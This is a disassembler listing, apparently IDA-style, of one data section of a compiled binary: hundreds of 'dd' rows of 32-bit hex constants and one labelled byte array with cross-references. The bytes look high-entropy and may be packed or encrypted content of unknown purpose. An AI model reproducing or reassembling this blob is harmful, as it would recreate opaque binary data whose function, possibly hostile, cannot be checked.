		dd 7C30E6F4h, 7447A2EDh, 0EEDBEAA5h, 3AE77FECh,	738A5B17h
		dd 1806025h, 9C7E49D6h,	5274C4D4h, 0D545D00h, 31733EA6h
		dd 0C3AB0F93h, 435D1827h, 537FD7E4h, 6418294Bh,	79A9D2A0h
		dd 1C760112h, 977A6693h, 61E880A1h, 8588F749h, 747948E1h
		dd 45214C09h, 0B5516427h
		dd 0FFC84A3Ch, 2A3306C4h, 0C530E889h, 0A61770AAh, 276929ECh
		dd 49604030h, 498EB23Ah, 0F00E1C78h, 99062E2h, 20347086h
		dd 528DB248h, 0CFF13F31h, 32C04288h, 1BE8AB03h,	5F2CF1A7h
		dd 34C73880h, 7F3F981h,	0C2405E07h, 3DD48488h, 75F0DC88h
		dd 31060090h, 6F1730ECh, 412FF39h, 3C0037D7h, 0D076F95Dh
		dd 0E151C060h, 8D748945h, 48C1390Ah, 6604A086h,	40C707BFh
		dd 0DACCD82Eh, 0EBCA0E82h, 9E602863h, 96975E0Dh, 1D3ECEFAh
		dd 648283FEh, 0C8E7D73Fh, 4893C7D0h, 0E6031CE1h, 74393DE4h
		dd 4B13A006h, 77F935A0h, 0A3850958h, 50145A64h,	58A891Dh
		dd 1899BECDh, 0C5844800h, 63D012BFh, 0CE2C00DBh, 0E25B7A0Dh
		dd 0B046AE05h, 0BA0A9064h, 5F00B40Bh, 85A3D0C1h, 26980050h
		dd 0A7139A30h, 5251C635h, 12841088h, 0AB3A2B44h, 0EDB603F0h
		dd 0D43F662Ah, 0B3608490h, 40DE30C2h, 5C46A1A8h, 40F1B1C8h
		dd 8D2E8BA6h, 0E1E8D560h, 54DE8ABEh, 9085CC44h,	0F880F13Eh
		dd 13535531h, 5B41E9F1h, 49B38AE0h, 9050801h, 207C10FEh
		dd 2D406584h, 3A764579h, 13AB18A0h, 6FDEB288h, 6221793Eh
		dd 84371719h, 35618629h, 0AAA31040h, 0B929FBD2h, 0B192D094h
		dd 117E6100h, 0F06ACC9Bh, 41B56EA2h, 3A952A82h,	428C548Fh
		dd 468E6010h, 9CC5008Bh, 16D4F80Fh, 0BAAC182Bh,	0C7F208E5h
		dd 0B525B15h, 0FDDE3ABCh, 0E20248h, 758F693h, 0FE506230h
		dd 7517243h, 0E29F1811h, 0DCF40E5h, 0B4148B20h,	104217Fh
		dd 6D15771Ah, 1980DE23h, 0F9458C86h, 57008907h,	910BA8E2h
		dd 505A87h, 0A59243F5h,	0A232D80Fh, 301B6007h, 0B380BF48h
		dd 2E64B7h, 58F9AC9Fh, 0FCE0D95Bh, 0F1AA4607h, 1EC0154Ch
		dd 0F04DF779h, 5391937h, 0ECA3480Eh, 0E73A07BEh, 0A170007Bh
		dd 5DD9E8FBh, 9AD70C8Ch, 52855D0h, 0F36C9303h, 0C3DB9FE1h
		dd 0D60CC525h, 0D8A38E8h, 8991851Ah, 23DDF858h,	8418B57Fh
		dd 7651F9FAh, 2D20375h,	2E58B7F5h, 446B5B8h, 4ED410C0h
		dd 0FE4020E3h, 7E1E14C5h, 0A9863023h, 0FC28B116h, 7E004853h
		dd 9863FFF3h, 1C40C5EBh, 80157C4Fh, 6413D6BEh, 53650B9Eh
		dd 4790539h, 0E2708880h, 5CE3CB04h, 34E73E03h, 0C83092Fh
		dd 86535E7Eh, 0F5004331h, 91990103h, 0E4AF686Dh, 64C50070h
		dd 0E7EE8724h, 0C418FE41h, 25613954h, 0E11B0C6Fh, 0A971E5AAh
		dd 0EE29FD13h, 533E9D00h, 81A49Ah, 8EF0D61h, 0D3C3FB5Bh
		dd 33767978h, 2DD0F22Ch, 39681031h, 48E6E3h, 887E25E5h
		dd 7D90294Dh, 9098466h,	1D450021h, 15A5F179h, 0D203425Ch
		dd 33B2A8F8h, 7F5780D3h, 3ADE18D8h, 696E3113h, 25C55400h
		dd 0D2119420h, 1F6C0CC7h, 5A90C2A7h, 0EE705D0Ch, 0FAD81Ah
		dd 7CC53BC0h, 3E4B63C6h, 8F35D63Fh, 679A7A2Dh, 802FD136h
		dd 27CE1BD3h, 0F10515B6h, 0AF0CA422h, 0FE481861h, 0B49C100h
		dd 0C6250950h, 80010034h, 71439F46h, 5C01263Ah,	0A4F67545h
		dd 0A040D9DDh, 3D7FE12Eh, 0A60356FEh, 0A20C637Dh, 0B1E820A5h
		dd 80007E67h, 464270FFh, 0C21F84h, 0FD9F5868h, 0F2830A4Bh
		dd 756CD307h, 0ADF25C1Dh, 9234487Ah, 0A0B55B19h, 0CD190909h
		dd 38087F55h, 6AF2B183h, 0C7F843B6h, 2D008C1Fh,	1E4FC46Dh
		dd 1A13317h, 588A48D4h,	0E80F1B5Fh, 800AECAh, 0DD18A0EFh
		dd 47D6774h, 0FC5A7AF7h, 0C3301EAh, 0EC4C4205h,	517E043Ah
		dd 31EC214Dh, 14041063h, 80006EDh, 0BF7EFB15h, 0B7147172h
		dd 58D4F96Bh, 49944432h, 0C6A43B12h, 30362032h,	0F63D7E33h
		dd 88ED214Fh, 0B000F5Dh, 8B4E7972h, 0A3A058E4h,	53540D29h
		dd 0E1180CF2h, 0F20A0728h, 70988BE3h, 9F3EA03Ah, 0B0A01298h
		dd 4D0101B7h, 722A565Bh, 0C4579C53h, 320A11D0h,	0A18E4FBh
		dd 6EA264EEh, 4C2C80F0h, 2C6E9CCh, 0C402557Bh, 9FB5DAFAh
		dd 0E8AE6349h, 754ED27h, 8589673Ah, 55127019h, 6A0002B6h
		dd 0A1CCEB31h, 0A2C718h, 7AE1BE3Dh, 0DAC2FF20h,	0F502FDF6h
		dd 0ED528417h, 826062E2h, 18D0C540h, 0D13A7E5Ch, 0A1A52141h
		dd 871C1CBCh, 7E927Fh, 14C44119h, 0B7C08F00h, 210FC581h
		dd 5C2712C7h, 533C6149h, 5F70E4B5h, 1A04208Ch, 0B52B941Eh
		dd 0F2246C0h, 0C04F89E3h, 8F6C52B8h, 6300D117h,	7646C182h
		dd 3CAD1E37h, 9A04B927h, 91A5E538h, 0C396B34h, 5F790848h
		dd 50C271BFh, 3540000Eh, 1700347Eh, 0CCBF7757h,	49048308h
		dd 51F1099h, 0F3708D6Bh, 3EA44318h, 0F6203FC7h,	0DAE26E7Ah
		dd 41A0EB51h, 1B3CB0h, 9B6914h,	5613151Dh, 73682A3Dh, 0CF0BDA05h
		dd 0F408CA9Ah, 0F52800Ch, 59F99139h, 3B57F814h,	414000E8h
		dd 0A52BA6CCh, 0C02472EAh, 644D5080h, 90F5157h,	40B7410Fh
		dd 90D3F4E3h, 0C9910225h, 31336A23h, 0D03E4061h, 0B460B542h
		dd 0C352F811h, 3B70073Ah, 0B737EB57h, 2F2E4356h, 0AFF52000h
		dd 3CA14749h, 0A285033Dh, 0B99241F0h, 10444024h, 0D8DC215Eh
		dd 9F6B2783h, 8490BCCDh, 0F4DEAC24h, 0F18D2CD7h, 207096A8h
		dd 0C7AE0F3Ch, 9D65E800h, 39A6BC8Fh, 4530C6B3h,	6700C97Fh
		dd 0F746E9B9h, 0B0902295h, 3C9300BFh, 77EB149Bh, 0B70B3543h
		dd 1DA12C8Bh, 0E508828h, 0C4EC94C1h, 12E2A187h,	0A71A40ACh
		dd 4C4CDE56h, 0F94100F2h, 1056053h, 7AAC056Fh, 80EED63Fh
		dd 9B06DAE8h, 0C09648h,	0F26281CFh, 9162B19h, 259BFF7h
		dd 99EF7821h, 9D9851BEh, 18C45081h, 2400B29Ch, 4BFB0223h
		dd 139BF7CDh, 2F26641Bh, 19710E4h, 0D45780DFh, 42DC2374h
		dd 0E1378B9h, 0EAB7E805h, 56DC488h, 0E18C4DC6h,	8B4C577h
		dd 0F7C15B20h, 872037C5h, 20E948C8h, 2651D48Ch,	970049FEh
		dd 557C9395h, 0A58C092h, 0CA5DA7A6h, 7F5980C0h,	0D625A0B8h
		dd 4D1F7A1Dh, 5C28A782h, 0A26C9120h, 2ABD2760h,	606C0806h
		dd 5A6721A1h, 792EC6B6h, 83003C6Ch, 0B457525Fh,	898F0022h
		dd 4E46D0C4h, 0C673FEA2h, 40395524h, 482F1D13h,	0C0182D10h
		dd 0A2B0CE20h, 0A31403C0h, 0D6A17140h, 3D54C88h, 6DC028D8h
		dd 0F784270h, 2265EFA7h, 14CC07FFh, 0B400E0E0h,	84E1D61Ch
		dd 0D9E7BCh, 7B91D194h,	9E9F5088h, 31388A0Bh, 392482D8h
		dd 4D520004h, 301EB94h,	21CF0F1Dh, 0E041E9D7h, 80F03422h
		dd 3B5D00E7h, 0A8DFF145h, 0DC9123C2h, 6A18F9D1h, 0BF1EEC00h
		dd 9350D9Bh, 0C39209F1h, 3C8A1A3Ch, 642367B0h, 5E949093h
		dd 2F000D1Dh, 0BCABE117h, 2C91D280h, 50341B8Dh,	286A41Fh
		dd 3FDB7E46h, 0F719A20Ch, 694E9180h, 0AA15417Eh, 57C49800h
		dd 52D6F34Dh, 0E62000C5h, 7CA216E7h, 0B4000FE8h, 97A58A45h
		dd 7CF0C868h, 24A803A4h, 6BBDE46Ch, 50D12CE0h, 2500FC70h
		dd 8647E510h, 0E363F8h,	5646BEE7h, 674D29E6h, 40C88B00h
		dd 184583ADh, 0E1AB0D84h, 0F821AA19h, 0A801CBBFh, 0A461514Ch
		dd 2C516A8Ah, 29BB0BE9h, 7AA19780h, 80CC8FDFh, 28F7A71Fh
		dd 93C60700h, 0C94411Fh, 71FFF265h, 38C0FD09h, 1FB8A607h
		dd 0CEF800BAh, 45116B98h, 0B1004FFEh, 0C96C8061h, 3044A24Dh
		dd 0E6304678h, 2C5410E0h, 0F006C3Ch, 0A43E1966h, 9C268DFh
		dd 0CFFE0AC4h, 2F82CC00h, 1DFA7567h, 6F243300h,	0B8378934h
		dd 45ED1B5Dh, 7CD348E7h, 0A72D1398h, 35326D00h,	0FABE93A6h
		dd 98B856E7h, 82CBAD02h, 0E93013ACh, 0A2FA80E4h, 55C09600h
		dd 9BCC50BBh, 7CAB1E23h, 0F761C08Fh, 0CF293AD2h, 0F4884300h
		dd 936FD178h
		dd 0A9D40302h, 955933F8h, 8BB02800h, 0A29134A1h, 3F678C7h
		dd 2C71FBECh, 200066A5h, 0BF05D2B6h, 38D46AFFh,	0D3BA22E9h
		dd 0DD1DA322h, 93C00569h, 6F67BB4Ch, 0F2200352h, 8E1A5B47h
		dd 0DCD97018h, 4829C199h, 98005A25h, 70DA41CCh,	47061C39h
		dd 0B0AE0EF4h, 60D70028h, 23B63D77h, 0F0986D92h, 3162A90Ch
		dd 0F020B5h, 73EC5DCFh,	0AE9D0D78h, 0FB9EE51Fh,	0D127BCC0h
		dd 1B53B2A6h, 80AB325Bh, 1E20DFF2h, 0A0F06A95h,	0DC9008h
		dd 0E1581704h, 0C931FA82h, 5B60A974h, 7EE1F21h,	0F96900C1h
		dd 0D67849Bh, 5400B501h, 478FF87Dh, 0F0BAFBD5h,	38A5FE68h
		dd 500E7B2h, 819EB6DBh,	0E37C5B34h, 0F8AA6F00h,	619476A2h
		dd 2E6C19BAh, 7057A87Fh, 20CAA4CCh, 608580F6h, 0D0408E25h
		dd 0D2C377DFh, 2D270009h, 1610CAB2h, 2019804h, 0B92B6AF1h
		dd 47E106EDh, 605D6C60h, 238149C5h, 0E01D04Eh, 448AC319h
		dd 65D1F133h, 26965883h, 0D6D84370h, 1E00B69Ah,	6715D27Bh
		dd 65FE5Eh, 423F973h, 1841865Ch, 2EEE8D00h, 0F6E7580Fh
		dd 4B75016Dh, 0D40B2978h, 0C51ADD1Ch, 0C07530DBh, 8C57A500h
		dd 3EE5F368h, 13B73C67h, 0CB725080h, 0E7439CDh,	2641BC1Ch
		dd 67617F80h, 71185ECh,	0DFF56332h, 42035045h, 0E009B97h
		dd 8C995F17h, 0C5EADBh,	0A850FD9Ch, 1913755Ch, 0A43221Fh
		dd 0C67E7C0h, 7F647958h, 0BF060097h, 0E85923F7h, 726A0F1h
		dd 0ED140039h, 0C5B2C004h, 0AF050D1Ah, 3EC3010Ch, 203FE9ABh
		dd 11CA3C59h, 0DA0424h,	0A6B09C18h, 0E7E667h, 0CBB1E1E8h
		dd 0AE3DF722h, 0B75075F8h, 7886EF0Ch, 93438406h, 0E41BCE08h
		dd 0E3C4DB90h, 233F2104h, 18A8D208h, 0BA44F1C7h, 2A1E429Eh
		dd 8D540CEBh, 0F0503324h, 0AD50500Ch, 0F2509748h, 1F502F0Ch
		dd 24A87B18h, 18A0A9C2h, 6B1D772Bh, 4240FA3Ah, 926E33A8h
		dd 760F33AEh, 0BCA14E18h, 22C4E03Bh, 54F4AF79h,	0DB6F4804h
		dd 0C50E21A1h, 0ED8AA0A0h, 391058E7h, 5B074761h, 5FBAD821h
		dd 663A1820h, 3F197C4Dh, 620381Ch, 1CC11DF4h, 0CEEC42BEh
		dd 0C020B1CCh, 935BA9CDh, 0EFFBC700h, 596F1473h, 4A0200C1h
		dd 4D60D0ECh, 875C3BDFh, 0DEF41D80h, 4733160Eh,	0BF804238h
		dd 0EC88D2B1h, 0BB0507AFh, 0EA7E66E0h, 4B9D404Ch, 10C02CBCh
		dd 2AD16DC0h, 7BD072FFh, 550B0E4Ah, 0E480C86Eh,	0C376F5B4h
		dd 5190CC00h, 0F0B6C158h, 7EFF16D8h, 0CEAC002Ch, 0F91DC06Eh
		dd 0EFE4D07h, 8A3EB0A3h, 0D6E41CCCh, 0C005468h,	60B27DD0h
		dd 188AAC3h, 8795AF01h,	0EA7C06B9h, 4A44C0BEh, 42EE1BF5h
		dd 72B048D8h, 29C0A287h, 0D94952B9h, 0E583897Dh, 8C8D71Bh
		dd 3C3A5305h, 0D4540AD0h, 93675C64h, 82273F30h,	0A7BE1449h
		dd 0CC00CD9Ah, 0F978AA50h, 6400EE65h, 7C8D6EE1h, 780F4454h
		dd 9043016Fh, 3998A680h, 0C3BC47C5h, 0CEF822FAh, 3A496ACAh
		dd 0ADB90110h, 8D6F0778h, 0CCAE1440h, 0E56710D6h, 0F72B0C74h
		dd 4331B0AFh, 7E8EB1F1h, 4CDACA1Ah, 0ED15870h, 0D8BD1509h
		dd 0F685007Ch, 9BC3E6A5h, 0DBB43A50h, 2EEC5404h, 38913E9Eh
		dd 3C2456F4h, 2C940124h, 6C2A7C17h, 29318E38h, 0EFE2A027h
		dd 3EC0E57h, 2E559208h,	0E8CA5BC7h, 0FA43744Eh,	0E1EDFBB0h
		dd 0CD56A70Fh, 58D1A0BBh, 491A0ECEh, 44120C85h,	4CCC4871h
		dd 4132AE8Ch, 940E21Eh,	0D1B2DD5Fh, 55533820h, 0EF02173Dh
		dd 8525D0E2h, 0ECAC95C3h, 0DD008F98h, 0F51BB87Eh, 91F607CDh
		dd 0CFD46294h, 0D60AD445h, 9E57F07Ch, 0A898A44Ch, 72F30F40h
		dd 38D33A4Eh, 0DD00E804h, 0FBF86531h, 1997820h,	2CC7BCCEh
		dd 0DEA05361h, 0F464E847h, 0FF00DC9Ah, 3B63F145h, 6F3DCC84h
		dd 72FB85ECh, 8428D254h, 244C0F92h, 4720BD10h, 9AD5F608h
		dd 0B2D65605h, 0D8809B70h, 0F903A5h, 0DA805BBCh, 8BF58A97h
		dd 9EE1650Eh, 5726C056h, 92A5EBF4h, 0ED5B1308h,	7DCC0061h
		dd 0B9C7E887h, 4659160Fh, 0FE6282F8h, 0A0D0916Fh, 1F78030h
		dd 0A5CC0F16h, 222D31B1h, 4D2AB864h, 7B8B08A9h,	31B07980h
		dd 0C61FB59Fh, 0EC01A72Fh, 8FF2602Ah, 24CF67C4h, 570C7FFAh
		dd 186DD8B1h, 23937601h, 9AB80004h, 9CE44246h, 52F8F2FBh
		dd 19B8FC45h, 76DDF21Fh, 3A087824h, 1BE4F23h, 0FD61ADFBh
		dd 5804E2Ah, 0CF64A2DDh, 42C2289Eh, 0E8C751B6h,	0F61390A2h
		dd 74040293h, 7D03116Fh, 87C2307Ah, 31B90883h, 130FF4C1h
		dd 0BD2011A0h, 2EE1040Eh, 69214994h, 8D92E130h,	7982A441h
		dd 6201FC32h, 17B58ABBh, 20F081A8h, 0F519FE63h,	0C594022h
		dd 0A826360Ch, 230BDD0h, 0D7C44056h, 0B588324Ah, 9C81ADD8h
		dd 106ADDD4h, 248D6DCDh, 857C33DCh, 0C05A9FCCh,	3AFA423Ch
		dd 90B2142Eh, 935D0400h, 92E7EF96h, 0DCC35000h,	90CAF019h
		dd 9E60318h, 569FCF77h,	2E4A022h, 493AFC81h, 0E4A433B9h
		dd 0A3C882D6h, 8A2188A4h, 0FFB10C90h, 60DB9072h, 5ECD9924h
		dd 9E00D33Eh, 0EF308E45h, 90BCE4E0h, 0A6B0003Fh, 98820C4Eh
		dd 8A0FEBEDh, 194B1FEh,	0F8868C2Bh, 165DFBDCh, 65E9DB7h
		dd 0C0061132h, 3E7569EEh, 580077ECh, 90121497h,	0EB5F8EDh
		dd 0B3BC5C1Ch, 0FCA0CE00h, 0D07D75BBh, 7AC87F00h, 0E048709Dh
		dd 404F0090h, 0BA404DEh, 7D66E879h, 0B94E52h, 329C468Ah
		dd 0B2FF7F3Fh, 0BBF69239h, 0C9878094h, 4A3117F9h, 0D55A0097h
		dd 3C6985EEh, 9603C57Dh, 1676D7ECh, 0CCA0978Bh,	7BA99D3Ah
		dd 7BD401CAh, 0E5F6883h, 72BCE87Ah, 1A8E4600h, 0E13F07A4h
		dd 66350A17h, 80FCF2B9h, 89C09277h, 0EC7BCBBEh,	750E597Ah
		dd 0E43E4624h, 880E12Bh, 838010h, 5ED82A2Ch, 1EEC3884h
		dd 0C5CC8C0h, 96E301Ch,	0A7AB99B2h, 9879FE83h, 64363809h
		dd 5D5801D1h, 0F440A048h, 0DCAA85B2h, 11DC9129h, 0D819D0B8h
		dd 4171510Eh, 0D6A57D14h, 22D2CC02h, 0F12F430Eh, 389FD703h
		dd 66A1AC69h, 42AFECA5h, 38FE101h, 0EA891737h, 0BD0F20h
		dd 91F385FEh, 1C476576h, 0F79F6A03h, 0E00668B2h, 1EC858A3h
		dd 80934FF5h, 0E29E766h, 8D00BD82h, 3295CB97h, 2F0D97Ah
		dd 6E743033h, 0E4E0425Ch, 0A300B331h, 0AF8707F2h, 21AA23h
		dd 8A67A990h, 0A52DA1Fh, 313CFD00h, 4DD60E1Ah, 69413FD2h
		dd 37922200h, 0DA5AE946h, 2C0F200h, 8FA30495h, 664E0019h
		dd 0E837E658h, 0C3EE93E4h, 0E9729090h, 18FF3E00h, 0E75A6F4Fh
		dd 1C170073h, 0F132EAB0h, 5B0FCE1Bh, 0D6A68FD1h, 0E6209302h
		dd 0D32FC089h, 185F00B5h, 9AA4B9BCh, 0CC1EDAF2h, 0D2803C80h
		dd 0A1E7E575h, 58C449C2h, 2567E004h, 2F7CD0BCh,	460E7559h
		dd 4AC680h, 6E3C713h, 0DB712438h, 76920065h, 0B351C70h
		dd 72838F03h, 886D732Ch, 0A6FADBh, 53B2F48Ch, 4E70EFCBh
		dd 0BE5D0A00h, 0DBE48FA4h, 1D8000E1h, 7A63A7AFh, 4D00E804h
		dd 6AA5DF91h, 16E12D6h,	76FFB30Fh, 9E3D3722h, 6601B611h
		dd 692ED683h, 1CE1ABF0h, 0C4643E0Dh, 0D121BC13h, 0EC55DA2Ch
		dd 4600DF5Fh, 0B424953h, 604A72D9h, 0AA0E5CC5h,	0FFF4FC2Ah
		dd 80CB5500h, 0B29B9C0h, 0AF8B14B5h, 3A3CCC66h,	0EFE03500h
		dd 1CE493F9h, 0FAC58420h, 0F790A431h, 51EDFFF5h, 260A1FD0h
		dd 39CBB250h, 0A7DD4400h, 0B9B3A29Ch, 0A3649200h, 0EA31C8ACh
		dd 0CDFC7Ah, 0F7506296h, 5607082Dh, 0AE4A3Eh, 4BF23DEEh
		dd 37B5C9Ah, 35D8B22Ah,	6EF0AC70h, 3D0017B1h, 0AE6E290h
		dd 0A8328Ch, 0FB2FFC08h
		dd 7C65F589h, 0A6531F00h, 54429278h, 0C31303ABh, 93EE7AB7h
		dd 340B01A8h, 0FB234F00h, 98B60957h, 0ADB00F9h,	48E49621h
		dd 5913DF2Ch, 10775E2h,	9F95FC49h, 3A635580h, 8C10247h
		dd 282AE696h, 0D7C3F682h, 3C4B8C81h, 3FC0306Eh,	0F492E51Ch
		dd 0A8768F40h, 51A2A5h,	4CE458FCh, 948C7FB5h, 46FE3100h
		dd 84192F7Eh, 5F5A038Fh, 0B48BB35Ch, 4874A087h,	3270966Dh
		dd 2538E87Bh, 0DD0402D2h, 697B3698h, 0A9CC7CACh, 0EB5D03A6h
		dd 3DAE6A32h, 67E4A0A8h, 433BD900h, 229F0466h, 488B488Fh
		dd 10DE000h, 2DBAE3FAh,	90147F09h, 0BC900028h, 27578DCh
		dd 12AAF836h, 96604904h, 21EAA93Ch, 0F30407F0h,	37596DDAh
		dd 3DCB9C80h, 15B6481Ah, 7201F101h, 0C886D181h,	4D0010C3h
		dd 2D6CC6DAh, 70C4632h,	790FC5ADh, 3964500Ah, 0FA058990h
		dd 5AF222FFh, 0BB331580h, 0A72C30A1h, 0F072BEAAh, 0F6F49700h
		dd 0F212B708h, 8C960E3Ch, 37000E92h, 8F0CF3D1h,	723E1101h
		dd 8AA7415Ah, 776EE8ECh, 0D9B907E6h, 207FA936h,	8D7D7919h
		dd 0DBEE9B00h, 0A2524A9Dh, 2E9AF8B8h, 0E9CE46Bh, 6D43D7C2h
		dd 0E0004379h, 125B208Dh, 178E3Ah, 2915B171h, 0F3AF4BFDh
		dd 8001CC3Ch, 2C57D8ECh, 38C9BE0Fh, 7600E5D3h, 5A6E36C6h
		dd 5D00F4A5h, 5070951Fh, 30892Ah, 57E695Fh, 0BCE67718h
		dd 5EC4A400h, 3CFAF36Ch, 0B0283D1Ah, 1D8EE780h,	0AD8FAE35h
		dd 91000DFEh, 1E496DAFh, 5445BDFh, 3457AFFh, 7580FB52h
		dd 895EB6h, 16185432h, 87DFED9Bh, 3D3BC700h, 34727D03h
		dd 0D70F0006h, 9FD0AE29h, 537F3998h, 69FFE302h,	60FEC3EDh
		dd 9E675Eh, 984CE5EBh, 0A6BCCB12h, 0A126F8B0h, 0C5008B5Bh
		dd 882A4F14h, 490600A9h, 5F9992C2h, 6903D574h, 7F86EF16h
		dd 283C00BDh, 2AA37EE9h, 0B303F8E4h, 2BF76D15h,	0F4F6711Eh
		dd 3C670019h, 6C319E76h, 2A00347Fh, 4C357AF9h, 2DDDCh
		dd 0B37BDE73h, 0E517288Ah, 211B4500h, 23CDFFB0h, 6B61178Bh
		dd 6C1300E2h, 649E48Dh,	0DA0FA000h, 0F39ED2E7h,	2EE6000Bh
		dd 2E37876h, 0F5004F8Bh, 717E2C84h, 0BBF354h, 0AAD96A0Ch
		dd 3E43037Bh, 0AC336800h, 3AFAB687h, 5354244Dh,	0D4C80E37h
		dd 57E55600h, 6E004A3Fh, 16011C77h, 3F33F83Eh, 0E8809B06h
		dd 0D9D71DD8h, 0BB0EFA7Bh, 7618BAh, 5DC983CCh, 38010F84h
		dd 6D20C1AEh, 810E40EBh, 1B5B5900h, 4225F408h, 0AF980337h
		dd 0DE1AC6E0h, 0E2803801h, 53916A09h, 0FDB541C0h, 71A8C8h
		dd 79D38B82h, 0C95BA81h, 24611E04h, 50C0EC25h, 0A38A66h
		dd 0AA0770F7h, 6311CEC6h, 80DC6F38h, 8F58FF72h,	0FA38E49h
		dd 224E085h, 0A7644D20h, 150E30A9h, 20EC5FA1h, 5FB4F50h
		dd 8B8303BCh, 0F79155B6h, 4E702C8h, 18B5D407h, 8F612D93h
		dd 697053DDh, 0BB7E0720h, 0EC3D62h, 1C761DABh, 9E70E130h
		dd 2197EFh, 9F0338CBh, 0B95642C7h, 0A069DC00h, 96F1D901h
		dd 23A6003Bh, 0AD08C982h, 870E4E2Eh, 0E0FE1ACFh, 3BD2FB74h
		dd 1074C086h, 0E82C2E95h, 0A8D98C0Eh, 2E040DFh,	0B4153h
		dd 61BD0551h, 0ECE5DE21h, 0FEB5F900h, 9E5F6081h, 0A7460F0Eh
		dd 4800F3E9h, 6CE5C82Dh, 0FDDCD107h, 88900344h,	7683BA6h
		dd 8FB19580h, 0F018A029h, 3900A941h, 0D70DC95Ah, 1106DAh
		dd 33B94F8h, 75FA43D2h,	0E339D838h, 0BA64BE10h,	79D38324h
		dd 8000F5A1h, 0E35415A0h, 84F701D5h, 0D2D3EF5Bh, 6063DD58h
		dd 2E0944D8h, 601683h, 72435CB7h, 8D23001Dh, 1228F127h
		dd 0E600B817h, 42A7057Dh, 1EEE2562h, 819B2C34h,	203CC74Fh
		dd 0DEB03B72h, 52AE0665h, 45ABA39Ah, 0F3515300h, 5D775B66h
		dd 499B0EF2h, 0A04016Dh, 31D8C00Eh, 1D027F65h, 0AB58F4B8h
		dd 338FE041h, 252D006Eh, 697EF9C4h, 9F0EF8E2h, 42D89E3Fh
		dd 40C66809h, 0F2027490h, 0C861E64h, 0EA6040FBh, 0DB4A88D4h
		dd 777B87Ch, 10D16D00h,	0DFAA1593h, 9C5E004Eh, 9DF6D2C6h
		dd 28007A13h, 6D72247Fh, 0DA23Ah, 8CE39CA3h, 62EF066h
		dd 0CD758E0Fh, 0F94F40AAh, 1D407B3Dh, 0B9339024h, 4014D41Ch
		dd 11325225h, 4A00BB16h, 9279C143h, 3F680Ah, 0BD9EA599h
		dd 0AE3649A0h, 0C6CDAF06h, 1C8AD46h, 4CB0E9E0h,	0CC9731DEh
		dd 760580C2h, 0C629A395h, 4AA22A80h, 276C097Dh,	0EE808270h
		dd 8B81E2DFh, 494F7507h, 59F0D2AEh, 27C9F3B7h, 59785736h
		dd 2B7F3402h, 40B0FD05h, 0C813Eh, 0E532C4E3h, 0E13509BAh
		dd 0EE722700h, 1FE7A58Dh, 605600C7h, 9C480862h,	7300BAF9h
		dd 0B02B1234h, 24B18A18h, 2AB7DB9h, 0EBADE59Bh,	65FA47C0h
		dd 0BC0970F6h, 8E22814Ch, 0C03D2EE4h, 7502A655h, 8FB43B33h
		dd 0E4957080h, 787B4DADh, 1D1663FCh, 1000AEBCh,	2569D85Fh
		dd 0F20E0072h, 0EA8D0308h, 9C002CEDh, 11189C8h,	1E5B2EFh
		dd 0B8561EB3h, 7070A84Dh, 0F071C3Ch, 0F66E947Eh, 86BC0AEh
		dd 0F20A5E6Ah, 27380F2Bh, 0D6C08822h, 7C94CE39h, 4ED3300h
		dd 4C10FBB4h, 256B00E5h, 0E3A17A5Eh, 0AF003AB0h, 14642F19h
		dd 3FF6953Dh, 2F93511h,	0CB28B542h, 9400FDFh, 0C800DCFFh
		dd 0E404C7A7h, 62E258h,	617823A4h, 2D913E08h, 463BF800h
		dd 0F3B4B383h, 2F490085h, 2A67744Dh, 0EB3A4C78h, 774845h
		dd 0BC0D10DDh, 333BEh, 0CF17B36Ch, 9C046E1Bh, 0AB624900h
		dd 398345D8h, 0BE550059h, 3BB0B367h, 25008510h,	0B515FA1Fh
		dd 72999C03h, 89190020h, 1C688018h, 8E000DD1h, 241FF030h
		dd 1F035465h, 15586Fh, 8DFD5DB8h, 8100ED32h, 217101CEh
		dd 0ADE09Fh, 51797616h,	43D52AE3h, 197DD300h, 0C2C83402h
		dd 0D96B0058h, 0AC444645h, 0F550C97Ah, 5200E5EFh, 25FB5FF0h
		dd 51077h, 4FDF572Bh, 363871CCh, 7411FC1Eh, 1953F38Ch
		dd 85E21724h, 0FBD0001Ah, 0D7E0D6B7h, 5F003A7Ah, 8AD8D517h
		dd 0C6E19Ch, 33C84603h,	903B6A82h, 52C74405h, 0A21C74F1h
		dd 0DCA7140h, 0E4F05E1h, 9F614A29h, 68D821E6h, 80655839h
		dd 546E08ACh, 389420Dh,	0A16C55CDh, 37A8F4F6h, 610016CFh
		dd 8A1D60A8h, 0F0178F62h, 856A00B5h, 0D7B9BF09h, 940014F4h
		dd 0DAF28388h, 0BD0CB7h, 72120ECAh, 0EB73CB8Fh,	0EF5DA800h
		dd 3DE3FA65h, 0BB4E0051h, 0C052792Fh, 0AA048A0Bh, 30B41E5Eh
		dd 95E50490h, 81161E4Bh, 0A7F7C057h, 0B57CEC03h, 0E83C000h
		dd 0C3A43506h, 0B96000BCh, 7B2DD2F8h, 4624DD18h, 470F0BAEh
		dd 0A7EB016Fh, 4BEC025Eh, 2F0B00BAh, 0B1F64EFBh, 78008365h
		dd 59B24843h, 3598D6h, 854AB5AEh, 9BC56B41h, 1C52FA2Eh
		dd 272D6A03h, 0DA588037h, 0D56100AEh, 17F4F48h,	0C300FEF1h
		dd 11CCD651h, 542DCh, 8426567Dh, 64194174h, 0F3617100h
		dd 80966C01h, 6B684CC3h, 0A07AF104h, 7C149003h,	8B056B4Bh
		dd 0CC0D830Eh, 3733BC07h, 85F04A17h, 0DE4D6Ch, 0E4CE3494h
		dd 0F23E91E6h, 0F523D201h, 1D0115D1h, 0E68DB560h, 3AD03B66h
		dd 2D540FF2h, 5AC2822Eh, 1BE061E0h, 0B309B7AAh,	721AE39h
		dd 8F61B904h, 6A9248D4h, 0C72C02BEh, 74C13196h,	33D0DCA9h
		dd 1851FE00h, 95AF167Dh, 0FF570085h, 0B9F8A619h, 73000640h
		dd 807E658Fh, 73A2C494h, 70636072h, 8775E3C6h, 9D64C801h
		dd 0DE7AEC81h, 2D1DE080h, 84B011D0h, 1000ABB8h,	0FFA253CAh
		dd 7CC0E5BEh, 5851003Bh, 4BB10B4Eh, 0F800B25Bh,	1E138BC4h
		dd 77F490h, 0C5A18AF6h
		dd 0EADA3031h, 135FCFDh, 0B2CA0B00h
		db 4Dh
byte_530055	db 0D1h, 0Ch, 98h	; DATA XREF: ___:off_4380E4o
					; ___:off_4380FCo
		dd 0E661007Ah, 9C45C5F7h, 883D3F38h, 0ED6E92F2h, 4AC23844h
		dd 0CFF98D42h, 3F602840h, 7D5CC12h, 0E9C0F400h,	9BB9B80h
